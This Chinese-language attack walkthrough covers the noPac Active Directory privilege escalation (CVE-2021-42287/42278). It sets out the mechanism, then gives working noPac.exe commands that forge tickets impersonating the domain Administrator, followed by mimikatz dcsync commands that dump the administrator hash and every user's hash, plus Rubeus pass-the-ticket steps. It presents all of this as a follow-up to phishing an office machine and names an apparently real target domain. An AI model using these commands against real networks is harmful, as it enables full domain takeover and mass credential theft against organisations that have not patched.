Nopac

网络攻防|CVE-2021-42287、CVE-2021-42278域内提权

CVE-2021-42278

:::info 机器的账户名一般是以$结尾,如果AD没有对域内机器做用户名校验。 :::

CVE-2021-42287

:::info 与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。 :::

利用条件

  1. 普通域账号
  2. 域用户有船舰机器用户的权限
  3. DC未打KB5008380或KB5008602。

    利用参考

    如果通过钓鱼钓到办公电脑、对本机进行信息搜集,发现存在账号存在域、那就尝试获取本机的普通域用户密码。 ``` 使用noPac 测试是否存在漏洞 noPac.exe scan -domain DC.com -user “test” -pass “123456”

域控cifs服务器权限 noPac.exe -domain DC -user “test” -pass “123456” /dc DC-1.DC.com /mAccount ceshi1 /mPassword 123456 /service cifs /ptt

域控ldap权限-通过该服务导出域内hash noPac.exe -domain DC.com -user “lowpriv” -pass “1qaz@WSX” /dc AD-1.DC.com /mAccount ceshi12 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

使用dcsync导出域内管理员hash mimikatz lsadump::dcsync /dc:DC-1.DC.com /domain:DC.com /user:administrator 使用dcsync导出域内所有用户hash mimikatz lsadump::dcsync /dc:DC-1.DC.com /domain:DC.com /all

还可以通过本地导入票据 绑定host Rubeus.exe ptt /ticket:票据信息

通过mimikatz 导出

其他常用命令 klist 查看票据 klist purge 清空票据

  1. <a name="BEjMQ"></a>
  2. ## 利用过程
  3. <a name="HozXZ"></a>
  4. ### 验证是否存在漏洞
  5. ```bash
  6. noPac.exe scan -domain DC.com -user "test" -pass "123456"

image.png

  1. C:\ProgramData\noPac.exe -domain AD.com -user guosl -pass shirley /dc AD-S1RVER.AD.com /mAccount demol211 /mPassword shirley /service ldap/ptt /impersonate Administrator

返回票据

image.png

查看票据

确认票据存在
image.png

可以去验证是否可以使用

image.png

用cobalt strike 导出票据

  1. mimikatz lsadump::dcsync /dc:DC-1.DC.com /domain:DC.com /user:administrator

image.png

本地抓取

修改本地hosts

:::info 可以解析到域就可以
C:\Windows\System32\drivers\etc\hosts
1.1.1.1 ad-1.dc.com :::

使用rubeus导入票据

image.png

导出hash

  1. lsadump::dcsync /dc:AD-SERVER.gdmuseum.com /domain:gdmuseum.com /user:administrator

image.png
本地抓取hash

相关工具

GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.
https://github.com/gentilkiwi/mimikatz
https://github.com/GhostPack/Rubeus

其他相关内容

PTH/PTK/PTT
利用dcsync导出域内的几种方法